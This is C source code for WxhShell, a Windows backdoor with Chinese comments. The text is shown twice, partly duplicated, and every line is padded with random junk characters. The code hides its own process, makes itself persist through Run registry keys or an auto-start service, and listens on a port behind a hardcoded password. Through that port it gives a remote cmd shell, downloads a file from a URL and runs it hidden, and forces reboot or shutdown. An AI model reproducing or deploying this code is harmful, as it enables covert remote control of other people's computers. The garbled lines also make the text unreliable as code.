    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0P<bS?e<l  
    if(Boot(SHUTDOWN)) Lii,L}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \lnpsf  
    else { &ESE?{of)  
    closesocket(wsh); ]iyJ>fC  
    ExitThread(0); ESl-k2  
    } u2SnL$A7  
    break; #l6L7u0~wC  
    } s^]F4'  
  // 获取shell WvN!8*XFM  
  case 's': { y^#jM  
    CmdShell(wsh); 8#9 di  
    closesocket(wsh); L)5YX-?  
    ExitThread(0); Jbud_.h9  
    break; $Q[a^V~:  
  } DL5`A?/  
  // 退出 YI=03}I  
  case 'x': { <(YmkOS+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xbFoXYqgP  
    CloseIt(wsh); ZLBv\VQ  
    break; )2|'`  
    } =#AeOqs( q  
  // 离开 cvR|qHNX  
  case 'q': { P| o_/BS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lzzf`jN]  
    closesocket(wsh); ;hz"`{(JY  
    WSACleanup(); <|_/i/H  
    exit(1); L {6y]t7^  
    break; z:hY{/-  
        } ZqHh$QBD 9  
  } .D^=vuxt~  
  } 7(m4,l+(  
Ng?n}$g*  
  // 提示信息 EROf%oaz=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T [ `t?,  
} Q7X6OFl?  
  } ? 8g[0/  
T#.5F7$u  
  return; l  I&%^>  
} ;F@N2j#  
Ixhe86-:T  
// shell模块句柄 NrE&w H:  
int CmdShell(SOCKET sock) t> J 43  
{ ANNfL9:Jy  
STARTUPINFO si; OAu ?F}O  
ZeroMemory(&si,sizeof(si)); }LDH/# u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [-X=lJ:+h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }JXAG/<  
PROCESS_INFORMATION ProcessInfo; N5$L),?\y  
char cmdline[]="cmd"; ?u/Uov@rD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fKzOt<wm  
  return 0; G2]/g  
} _ECWSfZ  
}yup`R  
// 自身启动模式 ?*I2?   
int StartFromService(void) z116i?7EnV  
{ zkXG%I4h  
typedef struct opQ%!["N  
{  =,q,W$-  
  DWORD ExitStatus; :yN;_bC!b%  
  DWORD PebBaseAddress; qEC -'sl<  
  DWORD AffinityMask; U^tr Z])  
  DWORD BasePriority; cD&53FPXC  
  ULONG UniqueProcessId; )~1QOl "~  
  ULONG InheritedFromUniqueProcessId; &>UI{  
}   PROCESS_BASIC_INFORMATION; Y/1KvF4)k  
sW[8f Z71  
PROCNTQSIP NtQueryInformationProcess; \IL/?J 5d  
a"^0;a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; */iD68r|-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1$Rua  
@ !0@f'}e  
  HANDLE             hProcess; fcd\{1#u  
  PROCESS_BASIC_INFORMATION pbi; eRkvNI  
-~O7.E(ok  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o}&TFhT  
  if(NULL == hInst ) return 0; gTE/g'3  
kB-%T66\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [A?Dx-R;(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `+_UG^aeW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -lr)z=})  
eMk?#&a)  
  if (!NtQueryInformationProcess) return 0; D9 ~jMcX  
rPVz !(;k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p\]Mf#B  
  if(!hProcess) return 0; *NdSL  
Q}GsCmt=)O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9ALE6  
$2Y'[Dto\  
  CloseHandle(hProcess); ^z #'o  
p._BG80  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "'us.t.  
if(hProcess==NULL) return 0; CV%AqJN  
1Zc1CUMG  
HMODULE hMod; t#tAvwFM8  
char procName[255]; USLG G}R  
unsigned long cbNeeded; okfGd= &  
}J27Y ;Zp9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); { -*+G]  
(Zi(6 T\z  
  CloseHandle(hProcess); SoZ$1$o2  
Mg? ^5`*  
if(strstr(procName,"services")) return 1; // 以服务启动 cn&\q.!fh  
 ]~g6#@l  
  return 0; // 注册表启动 J%d\ 7  
} BdcTKC  
QeP8Vl&e:  
// 主模块 ZS0=xS5q)  
int StartWxhshell(LPSTR lpCmdLine) L&$ X\\Lv^  
{ $\kqh$")  
  SOCKET wsl; 4fPbwiK j  
BOOL val=TRUE; =h,6/cs  
  int port=0; [03$*BCq3  
  struct sockaddr_in door; ".jY3<bQg  
r`5[6)+P  
  if(wscfg.ws_autoins) Install(); +L_!$"I  
%?K1X^52d  
port=atoi(lpCmdLine); UxI0Of&:  
[MfKBlA  
if(port<=0) port=wscfg.ws_port; DC4,*a~  
?4%'6R  
  WSADATA data; t_HS0rxG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .#zmX\a  
f\O)+Vc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ag1*.t|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o@TxDG  
  door.sin_family = AF_INET; H\7#$ HB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P@P(&{@  
  door.sin_port = htons(port); et|QW;*L  
Fy!u xT-\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ws'OJ1  
closesocket(wsl); 'EFSr!+  
return 1; 23XSQHVx  
} 8s6~l.v  
r8\"'4B1  
  if(listen(wsl,2) == INVALID_SOCKET) { `9QvokD  
closesocket(wsl); ad^7t<a}<  
return 1; \a]JH\T)Q  
} bl. y4  
  Wxhshell(wsl); eekp&H$'s  
  WSACleanup(); .a._WZF  
^E_`M:~  
return 0; xBH`=e <  
=ML6"jr  
} ?n o.hf  
19a/E1  
// 以NT服务方式启动 2Qg.b- C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ({=: N  
{ ['%]tWT9  
DWORD   status = 0; LX{[9   
  DWORD   specificError = 0xfffffff; a1]@&D r  
Bw2-4K\"kc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D<9FSxl6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l$KC\$?%*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5:(uD3]  
  serviceStatus.dwWin32ExitCode     = 0; g3~e#vdz  
  serviceStatus.dwServiceSpecificExitCode = 0; rZ<n0w  
  serviceStatus.dwCheckPoint       = 0; S;DqM;Q  
  serviceStatus.dwWaitHint       = 0; )-$Od2u2c  
9-)D"ZhLe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]k~k6#),;  
  if (hServiceStatusHandle==0) return; GtcY){7  
VfAC&3 %M  
status = GetLastError(); gf/$M[H!   
  if (status!=NO_ERROR) @QiuCB  
{ ( )1\b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y<%)Im6v/  
    serviceStatus.dwCheckPoint       = 0; ;ru=z@  
    serviceStatus.dwWaitHint       = 0; f\+MnZ4[Qj  
    serviceStatus.dwWin32ExitCode     = status; HO,z[6  
    serviceStatus.dwServiceSpecificExitCode = specificError; nG<_&h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g.yr) LHt0  
    return; K3jKOV8   
  } ] h3~>8<  
,$irJz F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rlSar$  
  serviceStatus.dwCheckPoint       = 0; JR/:XYS+  
  serviceStatus.dwWaitHint       = 0; b4`t, D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ara D_D  
} @]r,cPx0Y  
H8d%_jCr  
// 处理NT服务事件,比如:启动、停止 *FoH '\=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5o;M  
{ @[ {9B6NlV  
switch(fdwControl) ]`%}Q  
{ 0#}Ed Q  
case SERVICE_CONTROL_STOP: $j61IL3+  
  serviceStatus.dwWin32ExitCode = 0; [@"~'fu0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I}JC~=`j  
  serviceStatus.dwCheckPoint   = 0; TVVL1wZ  
  serviceStatus.dwWaitHint     = 0; 9\9:)q  
  { w"Gci~]bXU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ">='l9  
  } MY>mP  
  return; SV%;w>  
case SERVICE_CONTROL_PAUSE:  ;0G+>&C8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9PXG*r|D  
  break; Fd@n#DR `  
case SERVICE_CONTROL_CONTINUE: E,5XX;|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  >-EJLa  
  break; !d Ns3d  
case SERVICE_CONTROL_INTERROGATE: Cf@~W)K  
  break; Le#>uWM  
}; ,CiN@T \&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 XV8 B  
} ,PH;j_  
OwXw9  
// 标准应用程序主函数 &AR@5M u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ? <b>2j  
{ l-` M 9#  
'Rbv3U  
// 获取操作系统版本 +&?#Gdb  
OsIsNt=GetOsVer(); ?.1yNO*s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #- S%aeB  
ph*?y  
  // 从命令行安装 JJ\|FZ N  
  if(strpbrk(lpCmdLine,"iI")) Install(); e UMOV]h  
-4du`dg  
  // 下载执行文件 \;&WF1d`ac  
if(wscfg.ws_downexe) { pVgzUu7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;a@%FWc  
  WinExec(wscfg.ws_filenam,SW_HIDE); d/I,`  
} aLZza"W  
uE{r09^q\  
if(!OsIsNt) { ~qFuS933  
// 如果时win9x,隐藏进程并且设置为注册表启动 gaFOm9y.e  
HideProc(); ?N*m2rv  
StartWxhshell(lpCmdLine); E= 3Ui  
} -/ 5" Py  
else l":\@rm`  
  if(StartFromService()) M<h2+0(il  
  // 以服务方式启动 fTb&k;'LR<  
  StartServiceCtrlDispatcher(DispatchTable); #mhR^60,  
else 7l Q@I}i  
  // 普通方式启动 NDsF<2A4  
  StartWxhshell(lpCmdLine); X2CpA;#;7l  
~mAv)JK  
return 0; vjNP  
} jz CA2N%  
4%k{vo5i  
}N @8zB~X  
AlZ]UGf^  
=========================================== %UGXgYDz  
`h%(ZG ~  
?T.'  q  
%x(||cq  
Tj0qq.  
u!$+1fI>  
" 90R z#qrI*  
7$"{&T  
#include <stdio.h> -M\ae  
#include <string.h> pBo=omQV  
#include <windows.h> Y.>F fL  
#include <winsock2.h> -8Z;s8ACo  
#include <winsvc.h>  862e  
#include <urlmon.h> bU$4"_eA B  
eK8y'VY  
#pragma comment (lib, "Ws2_32.lib") "{TVd>9_  
#pragma comment (lib, "urlmon.lib") ~`Uil=  
Y52f8qQq  
#define MAX_USER   100 // 最大客户端连接数 {|!> {  
#define BUF_SOCK   200 // sock buffer 2%!yV~Z  
#define KEY_BUFF   255 // 输入 buffer r.WQ6h/eZ5  
Fa ]|Y  
#define REBOOT     0   // 重启 EA# {N<  
#define SHUTDOWN   1   // 关机 ^l;N;5L  
iX]tL:,~i  
#define DEF_PORT   5000 // 监听端口 LN=6u  
*;E\,,Io  
#define REG_LEN     16   // 注册表键长度 8.`*O  
#define SVC_LEN     80   // NT服务名长度 },eV?eGj  
t,D7X1W  
// 从dll定义API f2*e&+LjTP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WdtZ{H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $"e$#<g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5t=7-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); msf%i!  
t%S2D  
// wxhshell配置信息 7XM:4whw  
struct WSCFG { ;W~H|M  
  int ws_port;         // 监听端口 luvxwved  
  char ws_passstr[REG_LEN]; // 口令 "`6pF8k  
  int ws_autoins;       // 安装标记, 1=yes 0=no uV=ZGr#o  
  char ws_regname[REG_LEN]; // 注册表键名 C-2{<$2k  
  char ws_svcname[REG_LEN]; // 服务名 YY4XCkt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k-CW?=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8'<RPU}M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g#*LJ `1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  4:Ton  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~DJILc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NCX`-SLv  
Zb&5)&'X  
}; i>j(Dsv  
`f)X!S2l  
// default Wxhshell configuration xR~9|H9a  
struct WSCFG wscfg={DEF_PORT, _keI0ML-#  
    "xuhuanlingzhe", 8x~'fzf;Sq  
    1, .]XBJc  
    "Wxhshell", b)(si/]\  
    "Wxhshell", u.yjk/jF  
            "WxhShell Service", eeVzOq(  
    "Wrsky Windows CmdShell Service", TxA%{0  
    "Please Input Your Password: ", ;{j@ia  
  1, RKb{QAK!v  
  "http://www.wrsky.com/wxhshell.exe", ]broU%#"  
  "Wxhshell.exe" F2)\%HR  
    }; |U:VkiKt  
{ POfT m}  
// 消息定义模块 Y@l>4q")  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '/U%-/@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VX6M4<8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'hNRIM1  
char *msg_ws_ext="\n\rExit."; V*,6_ -^l  
char *msg_ws_end="\n\rQuit."; vp|.x |@  
char *msg_ws_boot="\n\rReboot..."; +*`>7m<^  
char *msg_ws_poff="\n\rShutdown..."; k*u4N  
char *msg_ws_down="\n\rSave to "; M+l~^E0Wj  
P[K42 mm  
char *msg_ws_err="\n\rErr!"; y F;KyY{  
char *msg_ws_ok="\n\rOK!"; =WEWs4V5A  
TQL_K8k@_  
char ExeFile[MAX_PATH]; P;bOtT --  
int nUser = 0; wl N l|+ K  
HANDLE handles[MAX_USER]; b O9PpOk+z  
int OsIsNt; O*lMIWx  
HO}eu  
SERVICE_STATUS       serviceStatus; v"x'rx#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F 9J9zs*,  
0c GjOl  
// 函数声明 EUmbNV0u  
int Install(void); -~NjZ=vPh  
int Uninstall(void); j V'~>  
int DownloadFile(char *sURL, SOCKET wsh); 3kW%,d*_  
int Boot(int flag); (nnIRN<}$  
void HideProc(void); /4>|6l=  
int GetOsVer(void); yD yMI  
int Wxhshell(SOCKET wsl); ' JAcN@q~z  
void TalkWithClient(void *cs); 4<btWbk5u*  
int CmdShell(SOCKET sock); tGw QUn  
int StartFromService(void); OI)U c .  
int StartWxhshell(LPSTR lpCmdLine); 1SG^g*mf  
zbZN-j#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OrRU$5Lo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -Gj."ks  
$h|8z  
// 数据结构和表定义 .2f0e[J  
SERVICE_TABLE_ENTRY DispatchTable[] =  q^Ui2  
{ g{e@I;F  
{wscfg.ws_svcname, NTServiceMain}, HV[*=Qi  
{NULL, NULL} 4"et4Y7  
}; 9Itj@ps  
7e/K YS+!s  
// 自我安装 rPx:o}&<  
int Install(void) oTb4T=  
{ f-5}`)`.+  
  char svExeFile[MAX_PATH]; yv(\5)XF  
  HKEY key; '/GZ/$a_l  
  strcpy(svExeFile,ExeFile); 0 czEA  
BDcA_= ^R&  
// 如果是win9x系统,修改注册表设为自启动 +i(;@% kv  
if(!OsIsNt) { +kM*BCPYE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OE(!^"5?[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ."h>I @MH  
  RegCloseKey(key); `{+aJ0<S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >U6 2vX"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qlg?'l$03)  
  RegCloseKey(key); ,3bAlc8D7  
  return 0; qwvch^?>FQ  
    } u;/<uV3  
  } KY9&Ky+2B  
} s-e<&*D[  
else { 3h4'DQ.g  
>mp" =Y  
// 如果是NT以上系统,安装为系统服务 5^ e|802  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v]U0@#/p  
if (schSCManager!=0) TIVrbO\!o  
{ nA.~}  
  SC_HANDLE schService = CreateService %)}y[ (  
  ( pVC; ''E  
  schSCManager, OcZ8:`=%  
  wscfg.ws_svcname, ;hkzL_' E)  
  wscfg.ws_svcdisp, !3Ed0h]Bfa  
  SERVICE_ALL_ACCESS, 8gXf4A(N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Aoo\fN_U  
  SERVICE_AUTO_START, Ji;R{tZ.R  
  SERVICE_ERROR_NORMAL, 8+8P{_  
  svExeFile, D`@*udn=  
  NULL, lk%W2N5  
  NULL, /F_(&H!m  
  NULL, q":0\ar&QT  
  NULL, } !1pA5x$  
  NULL Na>?1F"KHk  
  ); qAirH1#  
  if (schService!=0) a {4RG(I_  
  { y R_x:,|g  
  CloseServiceHandle(schService); 95^-ptO{1`  
  CloseServiceHandle(schSCManager); (a@}J.lL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #2Z\K>L  
  strcat(svExeFile,wscfg.ws_svcname); a{! 8T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RrRE$g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )"H r3  
  RegCloseKey(key); }NF7"tOL  
  return 0; #RVN 7-x  
    } vF .Ml  
  } A9C  
  CloseServiceHandle(schSCManager); #]e](j>]  
} ;`}b .S =n  
} 0|OmQ\SQ  
_?~)B\@~0  
return 1; >o8N@`@VK-  
} 8\9s,W:5  
c@)}zcw*  
// 自我卸载 lArDOFl]x  
int Uninstall(void) YY9Ub  
{ ;eiqzdP  
  HKEY key; )NCSO b  
[LrA_N  
if(!OsIsNt) { L7 g4'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U=>4=gsG  
  RegDeleteValue(key,wscfg.ws_regname); Z*M-PaU}  
  RegCloseKey(key); sI#r3:?i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TptXH?  
  RegDeleteValue(key,wscfg.ws_regname); ="AJ &BqHd  
  RegCloseKey(key); pb=yQ}.  
  return 0; MP%pEUomev  
  } 07qL@![!  
} W6L}T,epX  
} [y1 x`WOk9  
else { [cvtF(,  
&+-]!^2o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @DK;i_i  
if (schSCManager!=0) 0OPpALl  
{ [XDr-5Dm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); # `b5kqQm  
  if (schService!=0) k5TPzm=y{  
  { X7{ h/^  
  if(DeleteService(schService)!=0) { X)k+BJ  
  CloseServiceHandle(schService); zx=AT  
  CloseServiceHandle(schSCManager); M`gr*p  
  return 0; ?R\:6x<  
  } dT4e[4l  
  CloseServiceHandle(schService); r-IG.ym3  
  } t*cVDA&K  
  CloseServiceHandle(schSCManager); 6n5>{X  
} Hsi<!g.  
} @T 8$/  
=VM4Q+'K  
return 1; z9IJ%= R  
} ;'xd8Jf  
z{ydP Ra  
// 从指定url下载文件 XbL\l  
int DownloadFile(char *sURL, SOCKET wsh) /8tF7Mmr  
{ A3c&VT6Q  
  HRESULT hr; ;,Q6AS!  
char seps[]= "/"; /;\{zA$uC=  
char *token; YMTB4|{  
char *file; { 0 vHgi  
char myURL[MAX_PATH]; eE-c40Bae  
char myFILE[MAX_PATH]; 0Rze9od]$  
l1wYN,rv  
strcpy(myURL,sURL); :c^9\8S  
  token=strtok(myURL,seps); #E#.`/4  
  while(token!=NULL) GPVqt"TY  
  { PTFe>~vr*  
    file=token; M~#% [?iU  
  token=strtok(NULL,seps); 7n*[r*$  
  } of>"qrdZ  
RmcQGQ  
GetCurrentDirectory(MAX_PATH,myFILE); K^fH:pV  
strcat(myFILE, "\\"); -+w^"RBV  
strcat(myFILE, file); XVNJ3/  
  send(wsh,myFILE,strlen(myFILE),0); GO=3<Q{;  
send(wsh,"...",3,0); )OgQ&,#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D?< R5zp  
  if(hr==S_OK) c DO<z  
return 0; dLIZ)16&  
else ~76qFZe-  
return 1; *g;4?_f  
-)2sR>`A%  
} .P>-Fh,_p  
K%/:V  
// 系统电源模块 6fr@y=s2:  
int Boot(int flag) dJYQdo^X  
{ Bm&%N?9  
  HANDLE hToken; \"^.>+  
  TOKEN_PRIVILEGES tkp; {^qp~0  
__N#Y/e ]  
  if(OsIsNt) { 5\|u] ~b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M4m90C;dq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1=.+!Tg  
    tkp.PrivilegeCount = 1; b3RCsIz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z UCz-53  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HLml:B[F(  
if(flag==REBOOT) {  >!7\Rx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KsMC+:`F  
  return 0; 8wQ|Ep\  
} ,@]rvI6 x  
else { E8Q Y6gKF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k yI-nE  
  return 0; Rh.CnCbM  
} 5,n{-V  
  } m:A1wL4c6  
  else { GI40Ztms  
if(flag==REBOOT) { y8QJ=v* B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6xsB#v*  
  return 0; J&bhR9sF  
} rBY{&JhS  
else { |KQkmc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )^'g2gVK+p  
  return 0; Z(=U ZI?  
} t@1 bu$y  
} nC> 'kgRt  
#lHA<jI  
return 1; L1i:hgq0]  
} _~_E(rTn  
`[*nUdG  
// win9x进程隐藏模块 Yo$ xz  
void HideProc(void) fqcFfz6?x  
{ ]sf1+3  
aHvsgp]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u:FFZ  
  if ( hKernel != NULL ) ~-.^eT kP  
  { +~~&FO2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m2o)/:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |`50Tf\J  
    FreeLibrary(hKernel); u^!c:RfE?  
  } 861!p%y5  
_:Jra  
return; ^`&?"yj<z  
} g)@d(EYY  
UZ"jQJQ  
// 获取操作系统版本 DfJHH)Ry}  
int GetOsVer(void) RXF%A5FXh  
{ _,m|gr ,S  
  OSVERSIONINFO winfo; XA*sBf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #~Z55 D_  
  GetVersionEx(&winfo); !y{t}|U/d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D'! v9}  
  return 1; v>&sb3I  
  else _poe{@h!  
  return 0; ^XIVWf#`H  
} ;=?f0z<  
dmkd.aP4  
// 客户端句柄模块 Zoi\r  
int Wxhshell(SOCKET wsl) l1h;ng6  
{ g[d.lJ=Q-N  
  SOCKET wsh; V?*\ISB`}  
  struct sockaddr_in client; .9Y,N&V<H  
  DWORD myID; M#PutrH  
|Qe#[Q7  
  while(nUser<MAX_USER) 8.'[>VzBL  
{ q|23l1 PI  
  int nSize=sizeof(client); 1JIo,7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z.]=u(=a  
  if(wsh==INVALID_SOCKET) return 1; A"`^A brm  
|QI FtdU5T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3bGJ?hpp  
if(handles[nUser]==0) GWU"zWli]z  
  closesocket(wsh); W]t!I}yPR  
else W_ =  
  nUser++; SX4"HadV>  
  } P})Iwk|Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8<VO>WA>E  
L:(>ON  
  return 0; F{g^4  
} {4@+ 2)l  
*nPB+@f  
// 关闭 socket d\R]>  
void CloseIt(SOCKET wsh) fW,,@2P  
{ p? dXs^ c  
closesocket(wsh); *+-L`b{SX  
nUser--; TC=djC4$/  
ExitThread(0); o?Wp[{K  
} Imi#$bF6  
&s|a\!>l  
// 客户端请求句柄 Y)-)owx7  
void TalkWithClient(void *cs) 6^oQ8unmS  
{ ZDI%?.U  
Pa{)@xT  
  SOCKET wsh=(SOCKET)cs; J*lKXFq7  
  char pwd[SVC_LEN]; l|O)B #  
  char cmd[KEY_BUFF]; |Mm9QF;iA  
char chr[1]; H</Mh*Fl2G  
int i,j; 99\;jz7  
?ep'R&NV  
  while (nUser < MAX_USER) { F>0[v|LG  
UA{tmIC\  
if(wscfg.ws_passstr) { h#o3qY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]7d~,<3R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kc>C$}/}$  
  //ZeroMemory(pwd,KEY_BUFF); x1$:u6YD22  
      i=0; PyS~2)=B  
  while(i<SVC_LEN) { 4r&S&^  
KVvzVQ1  
  // 设置超时 h27awO Q  
  fd_set FdRead; F%8W*Y699  
  struct timeval TimeOut; TH`zp]0  
  FD_ZERO(&FdRead); _ 2WG6y;  
  FD_SET(wsh,&FdRead); |7K[+aK  
  TimeOut.tv_sec=8; qNLG-m,n<  
  TimeOut.tv_usec=0; ~1NK@=7T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2 f" =f^rf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }w#Ek=,s#o  
p;GT[Ds^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d"1DE  
  pwd=chr[0]; 4@qKML  
  if(chr[0]==0xd || chr[0]==0xa) { C;T:'Uws  
  pwd=0; =*AAXNs@3  
  break; y}fF<qih'>  
  } yN0!uzdW*  
  i++; AX Y.80+  
    } T4OH,^J  
= }&@XRLJ  
  // 如果是非法用户,关闭 socket ]y4(WG;:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S~8w-lG!  
} ],fu#pi=]  
QJcaOXyMS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zH1pW(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "w)Y0Qq*z  
`sS\8~A  
while(1) { uG|d7LS,%  
W;Rx(o>  
  ZeroMemory(cmd,KEY_BUFF); =5UT'3p>  
)wmG&"qsP  
      // 自动支持客户端 telnet标准   Lv`*+;1 K  
  j=0; B]`!L/  
  while(j<KEY_BUFF) { CDy *8<-&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 92@/8,[  
  cmd[j]=chr[0]; JYY:~2  
  if(chr[0]==0xa || chr[0]==0xd) { d$3;o&VUNI  
  cmd[j]=0; wIrjWU2  
  break; Vr1Wr%  
  } $a.!X8sHB.  
  j++; GwOn&EpY!  
    } BEQ$p) h  
8sDbvVh1F  
  // 下载文件 23lLoyN  
  if(strstr(cmd,"http://")) { x}g5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ECO4ut.d  
  if(DownloadFile(cmd,wsh)) F/"Q0%(m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Ih>>|r  
  else V)$y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NZJ:@J=-  
